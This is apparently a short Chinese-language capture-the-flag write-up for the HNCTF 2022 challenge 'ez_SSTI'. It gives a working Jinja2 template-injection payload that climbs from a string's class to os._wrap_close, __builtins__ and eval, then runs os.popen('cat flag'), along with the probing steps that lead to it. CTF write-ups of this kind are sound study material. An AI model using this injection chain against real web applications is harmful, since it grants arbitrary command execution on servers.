[HNCTF 2022 WEEK2]ez_SSTI

[HNCTF 2022 WEEK2]ez_SSTI

payload:?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

1.首先输入{{8*8}}判断漏洞类型

2.然后输入{{''.__class__}}判断当前对象所属的类可以发现为str,因为此处使用的是{{''.__class__}}若使用的是{{''.__class__}}则当前类为tuple

3.再输入{{''.__class__.__base__}}查看当前类对应的父类是否为object

4.输入{{''.__class__.__base__.__subclasses__()}}查看object类的所有子类

5.调用os._wrap_close模块,可以发现此时它的下标为137

6.调用__init__函数,判断模块是否重载

没有出现wrapper字样,所以没有出现重载

7.使用__globals__函数查看全局变量,判断有哪些模块可以调用

可以看到有如下模块可供调用

9.?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

__builtins__提供对python的所有内置标识符的直接访问

eval()计算字符串表达式的值

popen()执行一个shell以命令来开启一个进程

posted @ 2024-07-13 16:34  Zonda_R  阅读(233)  评论(0)    收藏  举报